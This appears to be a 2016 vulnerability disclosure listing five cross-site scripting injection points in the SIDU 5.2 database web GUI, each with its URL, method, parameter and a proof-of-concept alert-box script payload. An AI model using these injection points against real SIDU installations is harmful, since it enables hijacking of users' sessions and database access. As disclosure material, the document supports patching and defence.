########################################################################################
# Exploit Title: SIDU 5.2 Database Web GUI Multiple XSS Vulnerabilities
# Date: 04.04.2016
# Exploit Author: Ozer Goker
# Vendor Homepage: http://topnew.net/sidu/
# Software Link: https://sourceforge.net/projects/sidu/files/sidu/sidu52.zip
# Version: [app version] 5.2
########################################################################################
XSS details:
########################################################################################
XSS1
URL
http://localhost/sidu52/conn.php
METHOD
Post
PARAMETER
conn[dbs]
PAYLOAD
<script>alert(1)</script>
########################################################################################
XSS2
URL
http://localhost/sidu52/?id=1
METHOD
Post
PARAMETER
sqlcur
PAYLOAD
<script>alert(2)</script>
########################################################################################
XSS3
URL
http://localhost/sidu52/sql.php?id=1&sql=%3Cscript%3Ealert%283%29%3C/script%3E
METHOD
Get
PARAMETER
sql
PAYLOAD
<script>alert(3)</script>
########################################################################################
XSS4
URL
http://localhost/sidu52/user.php?id=1,,,,,,%27%3E%3Cscript%3Ealert%284%29%3C/script%3E
METHOD
Post
PARAMETER
id
PAYLOAD
'><script>alert(4)</script>
########################################################################################
XSS5
URL
http://localhost/sidu52/bChart.php?ses=%3Cscript%3Ealert%285%29%3C/script%3E
METHOD
Post
PARAMETER
id
PAYLOAD
<script>alert(5)</script>
########################################################################################
